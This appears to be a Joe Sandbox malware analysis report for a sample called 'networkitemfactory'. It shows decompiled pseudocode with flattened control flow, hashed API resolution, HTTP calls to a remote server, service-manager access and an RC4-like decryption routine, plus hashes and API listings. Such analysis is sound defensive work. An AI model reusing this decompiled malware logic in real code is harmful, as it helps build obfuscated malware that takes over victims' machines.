					while(1) {
						L2:
						_t148 = _t134 - 0x25b8da46;
						if(_t148 > 0) {
							goto L35;
						}
						L3:
						if(_t148 == 0) {
							_t134 = 0x119a0a0d;
							continue;
						} else {
							_t149 = _t134 - 0x11ed8c49;
							if(_t149 > 0) {
								__eflags = _t134 - 0x16d9e4dd;
								if(_t134 == 0x16d9e4dd) {
									__eflags =  *0x20be158;
									if( *0x20be158 == 0) {
										 *0x20be158 = E020B3DD0(_t83, E020B3E70(0x2bcd54a8), 0xe7ee7f60, _t144);
									}
									_t39 = InternetOpenW(_v36, 0, 0, 0, 0); // executed
									__eflags = _t39;
									_v48 = _t39;
									_t134 =  !=  ? 0x33d5fcd3 : 0x2a671f30;
									_t41 =  *0x20bddc8;
									__eflags = _t41;
									if(_t41 == 0) {
										_t41 = E020B3DD0(_t83, E020B3E70(0xbb51e2dc), 0x298e8809, _t144);
										 *0x20bddc8 = _t41;
									}
									_t133 =  *_t41();
									_t43 =  *0x20bdbec;
									__eflags = _t43;
									if(_t43 == 0) {
										_t43 = E020B3DD0(_t83, E020B3E70(0xbb51e2dc), 0x632f374, _t144);
										 *0x20bdbec = _t43;
									}
									 *_t43(_t133, 0, _v56);
									goto L32;
								} else {
									__eflags = _t134 - 0x1cdfe022;
									if(_t134 != 0x1cdfe022) {
										goto L32;
									} else {
										__eflags =  *0x20bdcf4;
										if( *0x20bdcf4 == 0) {
											 *0x20bdcf4 = E020B3DD0(_t83, E020B3E70(0x2bcd54a8), 0x4983c7b3, _t144);
										}
										InternetCloseHandle(_t83); // executed
										_t134 = 0x3aea9dcf;
										continue;
									}
								}
							} else {
								if(_t149 == 0) {
									_t49 =  *0x20be25c; // 0x0
									_v16 = 4;
									__eflags = _t49;
									if(_t49 == 0) {
										_t49 = E020B3DD0(_t83, E020B3E70(0x2bcd54a8), 0x66e34725, _t144);
										 *0x20be25c = _t49;
									}
									_t50 =  *_t49(_t83, 0x20000013,  &_v12,  &_v16, 0);
									__eflags = _t50;
									if(_t50 == 0) {
										L46:
										_t134 = 0x1cdfe022;
										continue;
									} else {
										__eflags = _v32 - 0xc8;
										if(_v32 != 0xc8) {
											goto L46;
										} else {
											_t134 = 0x293d6772;
											continue;
										}
									}
									L65:
								} else {
									if(_t134 == 0xb17a9aa) {
										_t51 =  *0x20bdcf4;
										__eflags = _t51;
										if(_t51 == 0) {
											_t51 = E020B3DD0(_t83, E020B3E70(0x2bcd54a8), 0x4983c7b3, _t144);
											 *0x20bdcf4 = _t51;
										}
										 *_t51(_v28);
									} else {
										if(_t134 != 0x119a0a0d) {
											L32:
											__eflags = _t134 - 0x2a671f30;
											if(_t134 != 0x2a671f30) {
												while(1) {
													L1:
													_t131 = _v32;
													goto L2;
												}
											}
										} else {
											_v24 = 0x200;
											_t143 = E020B4220(_t83, 0x200);
											if(_t143 != 0) {
												_t68 =  *0x20bdd30;
												if(_t68 == 0) {
													_t68 = E020B3DD0(_t83, E020B3E70(0x50a1919d), 0xf19af18a, _t144);
													 *0x20bdd30 = _t68;
												}
												_t69 =  *_t68(0, _t143,  &_v24); // executed
												if(_t69 == 0) {
													_t71 = E020B5620(_t143, _t144);
													_t145 = _t145 - 8 + 8;
													_v48 = _t71;
												}
												E020B4180(_t83, _t143);
											}
											_t134 = 0x16d9e4dd;
											while(1) {
												L2:
												_t148 = _t134 - 0x25b8da46;
												if(_t148 > 0) {
													goto L35;
												}
												goto L3;
											}
											goto L35;
										}
									}
								}
							}
						}
						L64:
						return _v40;
						goto L65;
						L35:
						__eflags = _t134 - 0x33d5fcd3;
						if(__eflags > 0) {
							__eflags = _t134 - 0x368f38e4;
							if(_t134 == 0x368f38e4) {
								__eflags = _t144;
								if(_t144 == 0) {
									_t135 = 0;
									_t132 = 0;
									__eflags = 0;
								} else {
									_t135 = _a4;
									_t132 =  *_t144;
								}
								__eflags =  *0x20be200;
								if( *0x20be200 == 0) {
									 *0x20be200 = E020B3DD0(_t83, E020B3E70(0x2bcd54a8), 0x38dee054, _t144);
								}
								_t36 = HttpSendRequestW(_t83, _a8, 0xffffffff, _t132, _t135); // executed
								asm("sbb esi, esi");
								_t134 = ( ~_t36 & 0xf50dac27) + 0x1cdfe022;
								goto L1;
							} else {
								__eflags = _t134 - 0x3aea9dcf;
								if(_t134 != 0x3aea9dcf) {
									goto L32;
								} else {
									_t45 =  *0x20bdcf4;
									__eflags = _t45;
									if(_t45 == 0) {
										_t45 = E020B3DD0(_t83, E020B3E70(0x2bcd54a8), 0x4983c7b3, _t144);
										 *0x20bdcf4 = _t45;
									}
									 *_t45(_t131);
									_t134 = 0xb17a9aa;
									continue;
								}
							}
						} else {
							if(__eflags == 0) {
								__eflags =  *0x20bdd34;
								if( *0x20bdd34 == 0) {
									 *0x20bdd34 = E020B3DD0(_t83, E020B3E70(0x2bcd54a8), 0x68358982, _t144);
								}
								_t56 = InternetConnectW(_v28, _v4, _v8, 0, 0, 3, 0, 0); // executed
								_t131 = _t56;
								__eflags = _t131;
								_v64 = _t131;
								_t134 =  !=  ? 0x2e4782de : 0xb17a9aa;
								continue;
							} else {
								__eflags = _t134 - 0x293d6772;
								if(_t134 == 0x293d6772) {
									__eflags = E020B2930(_t83, _a16);
									_t108 =  !=  ? 1 : _v40;
									_v40 =  !=  ? 1 : _v40;
									goto L46;
								} else {
									__eflags = _t134 - 0x2e4782de;
									if(_t134 != 0x2e4782de) {
										goto L32;
									} else {
										__eflags = _t144;
										if(_t144 == 0) {
											_t140 = _v20;
										} else {
											_t140 = E020B3460(0x20bd290);
											_v20 = _t140;
										}
										_t60 =  *0x20bde94;
										__eflags = _t60;
										if(_t60 == 0) {
											_t60 = E020B3DD0(_t83, E020B3E70(0x2bcd54a8), 0xe1c7cef6, _t144);
											 *0x20bde94 = _t60;
										}
										_t83 =  *_t60(_t131, _t140, _a4, 0, 0, 0, 0x844cc300, 0);
										E020B3400(_t140);
										__eflags = _t83;
										_t134 =  !=  ? 0x368f38e4 : 0x3aea9dcf;
										continue;
									}
								}
							}
						}
						goto L64;
					}
				}
			}

0x020b2ba0
0x020b2ba5
0x020b2bac
0x020b2bb0
0x020b2bb5
0x020b2bba
0x020b2bbe
0x020b2bc6
0x020b2bce
0x020b2bd6
0x020b2bda
0x020b2bda
0x020b2bda
0x020b2be0
0x020b2be0
0x020b2be0
0x020b2be6
0x00000000
0x00000000
0x020b2bec
0x020b2bec
0x020b2dd8
0x00000000
0x020b2bf2
0x020b2bf2
0x020b2bf8
0x020b2ce8
0x020b2cee
0x020b2d32
0x020b2d34
0x020b2d4c
0x020b2d4c
0x020b2d5d
0x020b2d5f
0x020b2d61
0x020b2d6f
0x020b2d72
0x020b2d77
0x020b2d79
0x020b2d8c
0x020b2d91
0x020b2d91
0x020b2d98
0x020b2d9a
0x020b2d9f
0x020b2da1
0x020b2db4
0x020b2db9
0x020b2db9
0x020b2dc5
0x00000000
0x020b2cf0
0x020b2cf0
0x020b2cf6
0x00000000
0x020b2cfc
0x020b2d01
0x020b2d03
0x020b2d1b
0x020b2d1b
0x020b2d21
0x020b2d23
0x00000000
0x020b2d23
0x020b2cf6
0x020b2bfe
0x020b2bfe
0x020b2c88
0x020b2c8d
0x020b2c95
0x020b2c97
0x020b2caa
0x020b2caf
0x020b2caf
0x020b2cc6
0x020b2cc8
0x020b2cca
0x020b2e91
0x020b2e91
0x00000000
0x020b2cd0
0x020b2cd0
0x020b2cd8
0x00000000
0x020b2cde
0x020b2cde
0x00000000
0x020b2cde
0x020b2cd8
0x00000000
0x020b2c04
0x020b2c0a
0x020b2f8c
0x020b2f91
0x020b2f93
0x020b2fa6
0x020b2fab
0x020b2fab
0x020b2fb4
0x020b2c10
0x020b2c16
0x020b2dc7
0x020b2dc7
0x020b2dcd
0x020b2bda
0x020b2bda
0x020b2bda
0x00000000
0x020b2bda
0x020b2bda
0x020b2c1c
0x020b2c21
0x020b2c2e
0x020b2c32
0x020b2c34
0x020b2c3b
0x020b2c4e
0x020b2c53
0x020b2c53
0x020b2c60
0x020b2c64
0x020b2c6b
0x020b2c70
0x020b2c73
0x020b2c73
0x020b2c79
0x020b2c79
0x020b2c7e
0x020b2be0
0x020b2be0
0x020b2be0
0x020b2be6
0x00000000
0x00000000
0x00000000
0x020b2be6
0x00000000
0x020b2be0
0x020b2c16
0x020b2c0a
0x020b2bfe
0x020b2bf8
0x020b2fb6
0x020b2fc1
0x00000000
0x020b2de2
0x020b2de2
0x020b2de8
0x020b2ef1
0x020b2ef7
0x020b2f36
0x020b2f38
0x020b2f42
0x020b2f44
0x020b2f44
0x020b2f3a
0x020b2f3a
0x020b2f3d
0x020b2f3d
0x020b2f4b
0x020b2f4d
0x020b2f65
0x020b2f65
0x020b2f73
0x020b2f79
0x020b2f81
0x00000000
0x020b2ef9
0x020b2ef9
0x020b2eff
0x00000000
0x020b2f05
0x020b2f05
0x020b2f0a
0x020b2f0c
0x020b2f1f
0x020b2f24
0x020b2f24
0x020b2f2a
0x020b2f2c
0x00000000
0x020b2f2c
0x020b2eff
0x020b2dee
0x020b2dee
0x020b2ea0
0x020b2ea2
0x020b2eba
0x020b2eba
0x020b2ed5
0x020b2ed7
0x020b2ede
0x020b2ee0
0x020b2ee9
0x00000000
0x020b2df4
0x020b2df4
0x020b2dfa
0x020b2e83
0x020b2e8a
0x020b2e8d
0x00000000
0x020b2dfc
0x020b2dfc
0x020b2e02
0x00000000
0x020b2e04
0x020b2e04
0x020b2e06
0x020b2e1a
0x020b2e08
0x020b2e12
0x020b2e14
0x020b2e14
0x020b2e1e
0x020b2e23
0x020b2e25
0x020b2e38
0x020b2e3d
0x020b2e3d
0x020b2e59
0x020b2e5b
0x020b2e60
0x020b2e6c
0x00000000
0x020b2e6c
0x020b2e02
0x020b2dfa
0x020b2dee
0x00000000
0x020b2de8
0x020b2be0

APIs

ObtainUserAgentString.URLMON(00000000,00000000,00000200), ref: 020B2C60
InternetCloseHandle.WININET(?), ref: 020B2D21
InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 020B2D5D
InternetConnectW.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 020B2ED5
HttpSendRequestW.WININET(?,?,000000FF,00000000,00000000), ref: 020B2F73

Strings

%Gf, xrefs: 020B2CA3
rg=), xrefs: 020B2CDE
rg=), xrefs: 020B2DF4

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: Internet$AgentCloseConnectHandleHttpObtainOpenRequestSendStringUser
String ID: %Gf$rg=)$rg=)
API String ID: 1741791824-1613875595
Opcode ID: a764952f82d38bc649dfc5dd17d2bc81f9fc7325c0768def6aab1eef238fdc44
Instruction ID: b508021b1c3bad5a185ca98385d9949e046af67af6cf4712c697021b9bb97e57
Opcode Fuzzy Hash: a764952f82d38bc649dfc5dd17d2bc81f9fc7325c0768def6aab1eef238fdc44
Instruction Fuzzy Hash: FFA1D335B043019FDB77AF789894BEB76E6AF84344F11082AED55EB390DB749C009B92

Uniqueness

Uniqueness Score: -1.00%

Function 00401880, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 004018D3

Part of subcall function 004025D7: __FF_MSGBANNER.LIBCMT ref: 004025EE
Part of subcall function 004025D7: __NMSG_WRITE.LIBCMT ref: 004025F5
Part of subcall function 004025D7: RtlAllocateHeap.NTDLL(00520000,00000000,00000001,00000000,00000000,00000000,?,0040D04F,00000000,00000000,00000000,00000000,?,00406E45,00000018,00434500), ref: 0040261A

LoadLibraryA.KERNELBASE(ADVAPI32.DLL,00000000), ref: 004018F8
GetProcAddress.KERNEL32(00000000), ref: 004018FF

Strings

ADVAPI32.DLL, xrefs: 004018EF

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: AddressAllocateHeapLibraryLoadProc_malloc
String ID: ADVAPI32.DLL
API String ID: 4139351243-33758204
Opcode ID: 670f09e3d8b638425d01283d12b95ed64893a93a4cb3760ffa5b5eff12202f68
Instruction ID: 77864cb31303051aa4bb0e4ba01d51cb444543d451e6ae4c272d0dd7b7c99e89
Opcode Fuzzy Hash: 670f09e3d8b638425d01283d12b95ed64893a93a4cb3760ffa5b5eff12202f68
Instruction Fuzzy Hash: E6212631E5038895EB10DFA8AD47BFDBB74AF49700F50127AED85BA1C1EAB45648C3D8

Uniqueness

Uniqueness Score: -1.00%

Function 020B9700, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E020B9700() {
				char _v524;
				signed int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* _t37;
				void* _t45;
				intOrPtr _t47;
				intOrPtr _t50;
				intOrPtr _t51;
				void* _t54;
				void* _t57;
				intOrPtr _t59;
				void* _t65;
				intOrPtr _t66;
				void* _t69;
				intOrPtr* _t72;
				intOrPtr _t73;
				void* _t74;
				intOrPtr _t91;
				void* _t102;
				void* _t103;
				void* _t104;
				void* _t107;
				void* _t108;

				_t103 = _v528;
				_t37 = 0x582bf38;
				_t102 = 0;
				_t2 = _t102 + 1; // 0x1
				_t73 = _t2;
				goto L1;
				do {
					while(1) {
						L1:
						_t107 = _t37 - 0x16beef78;
						if(_t107 > 0) {
							break;
						}
						if(_t107 == 0) {
							_t74 =  *0x20bde30;
							__eflags = _t74;
							if(_t74 == 0) {
								_t74 = E020B3DD0(_t73, E020B3E70(0xf9ab61cb), 0x423474ef, _t104);
								 *0x20bde30 = _t74;
							}
							_t51 =  *0x20be368; // 0x54d130
							_t54 =  *_t74(0, _v528, 0, 0, _t51 + 0x220); // executed
							__eflags = _t54;
							_t37 = 0x1957e2ae;
							_t102 =  ==  ? _t73 : _t102;
							continue;
						} else {
							_t108 = _t37 - 0x58c56de;
							if(_t108 > 0) {
								__eflags = _t37 - 0x916b55c;
								if(_t37 == 0x916b55c) {
									_t57 =  *0x20bde30;
									__eflags = _t57;
									if(_t57 == 0) {
										_t57 = E020B3DD0(_t73, E020B3E70(0xf9ab61cb), 0x423474ef, _t104);
										 *0x20bde30 = _t57;
									}
									 *_t57(0, 0x25, 0, 0,  &_v524);
									_t59 =  *0x20be368; // 0x54d130
									__eflags = _t59 + 0x440;
									E020B3000(_t59 + 0x440);
									goto L37;
								} else {
									goto L18;
								}
							} else {
								if(_t108 == 0) {
									__eflags =  *0x20bdcb4;
									if( *0x20bdcb4 == 0) {
										 *0x20bdcb4 = E020B3DD0(_t73, E020B3E70(0x60f9cb2), 0x5f982ae8, _t104);
									}
									_t65 = OpenSCManagerW(0, 0, 0xf003f); // executed
									_t103 = _t65;
									__eflags = _t103;
									if(_t103 == 0) {
										_t37 = 0x1a3f7140;
									} else {
										_t66 =  *0x20be368; // 0x54d130
										 *((intOrPtr*)(_t66 + 0x478)) = _t73;
										_t37 = 0x24e7c50b;
									}
									continue;
								} else {
									if(_t37 == 0x1fdbe7c) {
										_t69 =  *0x20bdd78;
										__eflags = _t69;
										if(_t69 == 0) {
											_t69 = E020B3DD0(_t73, E020B3E70(0x60f9cb2), 0x70adb3c9, _t104);
											 *0x20bdd78 = _t69;
										}
										 *_t69(_t103);
										_t37 = 0x16beef78;
										continue;
									} else {
										if(_t37 != 0x582bf38) {
											goto L18;
										} else {
											_t72 = E020B4220(_t73, 0x47c);
											 *0x20be368 = _t72;
											if(_t72 == 0) {
												L37:
												return _t102;
											} else {
												 *_t72 = E020B7E10;
												_t37 = 0x58c56de;
												continue;
											}
										}
									}
								}
							}
						}
						L38:
					}
					__eflags = _t37 - 0x1e34e32a;
					if(__eflags > 0) {
						__eflags = _t37 - 0x24e7c50b;
						if(_t37 != 0x24e7c50b) {
							goto L18;
						} else {
							_v528 = 0x2015;
							_v528 = _v528 * 0x2e;
							_v528 = _v528 + _v528 * 4 + _v528 + _v528 * 4;
							_t37 = 0x1fdbe7c;
							_v528 = (_v528 - (0xa41a41a5 * _v528 >> 0x20) >> 1) + (0xa41a41a5 * _v528 >> 0x20) >> 6;
							_v528 = _v528 ^ 0x0000bd1a;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							_t45 =  *0x20be028;
							__eflags = _t45;
							if(_t45 == 0) {
								_t45 = E020B3DD0(_t73, E020B3E70(0xbb51e2dc), 0x2bebef82, _t104);
								 *0x20be028 = _t45;
							}
							 *_t45(0,  &_v524, 0x104);
							_t47 = E020B3C90( &_v536);
							_t91 =  *0x20be368; // 0x54d130
							 *((intOrPtr*)(_t91 + 0x42c)) = _t47;
							_t37 = 0x916b55c;
							goto L1;
						} else {
							__eflags = _t37 - 0x1957e2ae;
							if(_t37 == 0x1957e2ae) {
								E020B7C20(_t104);
								_t37 = 0x1e34e32a;
								goto L1;
							} else {
								__eflags = _t37 - 0x1a3f7140;
								if(_t37 != 0x1a3f7140) {
									goto L18;
								} else {
									_v528 = 0xb522;
									_v528 = _v528 | 0xc076dc4c;
									_v528 = _v528 + 0xfffff316;
									_v528 = _v528 | 0x16bc97f1;
									_v528 = _v528 + 0x41f8;
									_v528 = _v528 ^ 0xd6ff39f1;
									_t50 =  *0x20be368; // 0x54d130
									 *((intOrPtr*)(_t50 + 4)) = 0x20b7e00;
									_t37 = 0x16beef78;
									goto L1;
								}
							}
						}
					}
					goto L38;
					L18:
					__eflags = _t37 - 0x4d0843c;
				} while (_t37 != 0x4d0843c);
				return _t102;
				goto L38;
			}

0x020b9708
0x020b970c
0x020b9712
0x020b9714
0x020b9714
0x020b9717
0x020b9720
0x020b9720
0x020b9720
0x020b9720
0x020b9725
0x00000000
0x00000000
0x020b972b
0x020b981b
0x020b9821
0x020b9823
0x020b983b
0x020b983d
0x020b983d
0x020b9843
0x020b9859
0x020b985b
0x020b985d
0x020b9862
0x00000000
0x020b9731
0x020b9731
0x020b9736
0x020b97f9
0x020b97fe
0x020b9982
0x020b9987
0x020b9989
0x020b999c
0x020b99a1
0x020b99a1
0x020b99b3
0x020b99b5
0x020b99be
0x020b99c4
0x00000000
0x00000000
0x00000000
0x00000000
0x020b973c
0x020b973c
0x020b97aa
0x020b97ac
0x020b97c4
0x020b97c4
0x020b97d2
0x020b97d4
0x020b97d6
0x020b97d8
0x020b97ef
0x020b97da
0x020b97da
0x020b97df
0x020b97e5
0x020b97e5
0x00000000
0x020b973e
0x020b9743
0x020b9774
0x020b9779
0x020b977b
0x020b978e
0x020b9793
0x020b9793
0x020b9799
0x020b979b
0x00000000
0x020b9745
0x020b974a
0x00000000
0x020b9750
0x020b9755
0x020b975a
0x020b9761
0x020b99cc
0x020b99d7
0x020b9767
0x020b9767
0x020b976d
0x00000000
0x020b976d
0x020b9761
0x020b974a
0x020b9743
0x020b973c
0x020b9736
0x00000000
0x020b972b
0x020b986a
0x020b986f
0x020b992f
0x020b9934
0x00000000
0x020b993a
0x020b993a
0x020b9947
0x020b9954
0x020b9963
0x020b9971
0x020b9975
0x00000000
0x020b9975
0x020b9875
0x020b9875
0x020b98de
0x020b98e3
0x020b98e5
0x020b98f8
0x020b98fd
0x020b98fd
0x020b990e
0x020b9914
0x020b9919
0x020b991f
0x020b9925
0x00000000
0x020b9877
0x020b9877
0x020b987c
0x020b98cf
0x020b98d4
0x00000000
0x020b987e
0x020b987e
0x020b9883
0x00000000
0x020b9889
0x020b9889
0x020b9891
0x020b9899
0x020b98a1
0x020b98a9
0x020b98b1
0x020b98b9
0x020b98be
0x020b98c5
0x00000000
0x020b98c5
0x020b9883
0x020b987c
0x020b9875
0x00000000
0x020b9804
0x020b9804
0x020b9804
0x020b981a
0x00000000

APIs

OpenSCManagerW.SECHOST(00000000,00000000,000F003F), ref: 020B97D2

Strings

t4B, xrefs: 020B982F
t4B, xrefs: 020B9995

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID: t4B$t4B
API String ID: 1889721586-575686366
Opcode ID: 6f5a2e901f5c27c7cc871722522a870e469681572e0f1e3248597d99c4e6c382
Instruction ID: 5b2ea77bb767a4d64e3bf388368e66aeaed7f06a607cd13483206aae53c84ab1
Opcode Fuzzy Hash: 6f5a2e901f5c27c7cc871722522a870e469681572e0f1e3248597d99c4e6c382
Instruction Fuzzy Hash: 7751C074B483049BEB7B9F28D4857EE73D2AF85710F508C29A655CB290DB38E844DF52

Uniqueness

Uniqueness Score: -1.00%

Function 020B3060, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 160
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E020B3060() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t54;
				intOrPtr* _t67;
				void* _t70;
				intOrPtr _t81;
				intOrPtr* _t93;
				intOrPtr _t94;
				intOrPtr* _t110;
				void* _t112;
				void* _t113;
				intOrPtr _t114;
				signed int _t119;
				void* _t120;
				void* _t121;

				_t81 =  *((intOrPtr*)(_t120 + 0xc));
				_t54 = 0x2746532a;
				_t119 =  *(_t120 + 0x10);
				_t114 =  *((intOrPtr*)(_t120 + 0x14));
				_t112 =  *(_t120 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t121 = _t54 - 0x1b879e60;
							if(_t121 > 0) {
								break;
							}
							if(_t121 == 0) {
								_t93 =  *0x20bdf1c;
								if(_t93 == 0) {
									_t93 = E020B3DD0(_t81, E020B3E70(0x755194fe), 0xd778cb9a, _t119);
									 *0x20bdf1c = _t93;
								}
								_t114 =  *_t93(_t119 + 0x2c);
								_t54 = 0x2fd692b6;
								while(1) {
									L1:
									goto L2;
								}
							} else {
								if(_t54 == 0x2620d36) {
									_t67 =  *0x20bddc8;
									if(_t67 == 0) {
										_t67 = E020B3DD0(_t81, E020B3E70(0xbb51e2dc), 0x298e8809, _t119);
										 *0x20bddc8 = _t67;
									}
									_t113 =  *_t67();
									if( *0x20bdcf0 == 0) {
										 *0x20bdcf0 = E020B3DD0(_t81, E020B3E70(0xbb51e2dc), 0xc9d236a5, _t119);
									}
									_t70 = RtlAllocateHeap(_t113, 8, 0x23c); // executed
									_t112 = _t70;
									if(_t112 == 0) {
										goto L29;
									} else {
										_t54 = 0x65a2174;
										while(1) {
											L1:
											goto L2;
										}
									}
								} else {
									if(_t54 == 0x65a2174) {
										_t110 =  *0x20be018;
										if(_t110 == 0) {
											_t110 = E020B3DD0(_t81, E020B3E70(0xbb51e2dc), 0x7bd685bc, _t119);
											 *0x20be018 = _t110;
										}
										 *_t110(_t112 + 0x28, _t119 + 0x2c, (_t114 - _t119 - 0x2c >> 1) + 1);
										_t94 =  *((intOrPtr*)(_t120 + 0x1c));
										 *(_t112 + 0x230) =  *(_t94 + 0x18);
										 *((intOrPtr*)(_t94 + 0x24)) =  *((intOrPtr*)(_t94 + 0x24)) + 1;
										 *(_t94 + 0x18) = _t112;
										goto L29;
									} else {
										if(_t54 != 0x1936db13) {
											goto L22;
										} else {
											if(_t81 !=  *(_t120 + 0x18)) {
												L29:
												return 1;
											} else {
												_t54 = 0x2620d36;
												continue;
											}
										}
									}
								}
							}
							L30:
						}
						if(_t54 == 0x2746532a) {
							 *(_t120 + 0x18) = 0x1355;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) << 3;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) ^ 0x2b7aa775;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) * 0x4e;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) + 0x6616;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) | 0xe186295c;
							 *(_t120 + 0x18) = ( *(_t120 + 0x18) - (0xbacf914d *  *(_t120 + 0x18) >> 0x20) >> 1) + (0xbacf914d *  *(_t120 + 0x18) >> 0x20) >> 6;
							 *(_t120 + 0x18) =  *(_t120 + 0x18) ^ 0x8d190104;
							 *(_t120 + 0x10) = 0x990b;
							_t87 =  *(_t120 + 0x10);
							_t54 = 0x1b879e60;
							 *(_t120 + 0x10) = ( *(_t120 + 0x10) - (0x21fb7813 * _t87 >> 0x20) >> 1) + (0x21fb7813 * _t87 >> 0x20) >> 6;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) >> 8;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) ^ 0x03a1830e;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) << 0xc;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) | 0xea8992c4;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) << 9;
							 *(_t120 + 0x10) =  *(_t120 + 0x10) ^ 0xfe0623b6;
							goto L1;
						} else {
							if(_t54 == 0x2fd692b6) {
								_t81 = E020B3C90(_t114);
								_t54 = 0x36cc697c;
								while(1) {
									L1:
									goto L2;
								}
							} else {
								if(_t54 != 0x36cc697c) {
									goto L22;
								} else {
									_t54 =  ==  ? 0x2620d36 : 0x1936db13;
									goto L2;
								}
							}
						}
						goto L30;
						L22:
					} while (_t54 != 0x1a6d5b53);
					return 1;
					goto L30;
				}
			}

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,0000023C), ref: 020B3113

Strings

*SF', xrefs: 020B3066
*SF', xrefs: 020B3163

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: *SF'$*SF'
API String ID: 1279760036-2165348068
Opcode ID: f2b674458fbbe6a5eda6e775847fbdd22a12bf858c3579e23d7a2e521a1f86ef
Instruction ID: 23e998595922a2dfa47119039816650fda5546f11d0674cc4e68e55387db84df
Opcode Fuzzy Hash: f2b674458fbbe6a5eda6e775847fbdd22a12bf858c3579e23d7a2e521a1f86ef
Instruction Fuzzy Hash: BE51D271B043028BC76EDF6894942AEBBE6BFD8240F204D6EE452C7350DB70D9499BD2

Uniqueness

Uniqueness Score: -1.00%

Function 00402190, Relevance: 4.6, APIs: 3, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00402190(void* __eflags, intOrPtr _a4, char _a8, intOrPtr _a12, signed int _a16, signed char* _a20) {
				signed char _v8;
				signed int _v12;
				struct HWND__* _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* _t70;
				signed char _t71;
				signed int _t85;
				struct HWND__* _t90;
				signed int _t91;
				void* _t94;
				void* _t95;
				signed char _t96;
				signed char _t98;
				signed int _t99;
				signed int _t100;
				signed char _t101;
				signed char* _t103;
				signed char _t107;
				void* _t108;
				signed int _t109;
				signed int _t113;
				signed int _t119;
				signed int _t121;
				signed char _t123;
				char* _t124;

				_t119 =  *0x43502c; // 0x6700
				_t70 = E004025D7(_t94, _t108, _t119, _t119); // executed
				_t95 = _t70; // executed
				_t71 = E004025D7(_t95, _t108, _t119, _t119); // executed
				_v8 = _t71;
				_t109 = 0;
				_t99 = 0;
				if(_t119 != 0) {
					_t90 = _t71 - _t95;
					_v16 = _t90;
					do {
						_t124 = _t99 + _t95;
						 *(_t90 + _t124) = _t99;
						_t91 = _t99;
						asm("cdq");
						_t99 = _t99 + 1;
						_t119 =  *0x43502c; // 0x6700
						 *_t124 =  *((intOrPtr*)(_t91 % _a16 + _a12));
						_t90 = _v16;
					} while (_t99 < _t119);
					_t71 = _v8;
					_t109 = 0;
				}
				_t100 = 0;
				if(_t119 != 0) {
					_t123 = _t71;
					_t85 = _t119;
					_v20 = _t95 - _t71;
					_v16 = _t85;
					_v12 = _t85;
					do {
						_t123 = _t123 + 1;
						_t98 =  *(_t123 - 1);
						_t109 = ((_t98 & 0x000000ff) + ( *(_v20 + _t123 - 1) & 0x000000ff) + _t109) % _t119;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
						_t107 = _v8;
						_t71 =  *(_t109 + _t107);
						 *(_t109 + _t107) = _t98;
						 *(_t123 - 1) = _t71;
					} while ( *_t27 != 0);
					_t100 = _v12;
				}
				_v16 = 0;
				if(_a8 > 0) {
					_t96 = _v8;
					_a4 = _a4 - _a20;
					while(1) {
						_t40 = _t100 + 1; // 0x1
						_t121 = _t40 % _t119;
						_v12 = _t121;
						_t113 = (_v16 + ( *(_t121 + _t96) & 0x000000ff)) % _t119;
						_v16 = _t113;
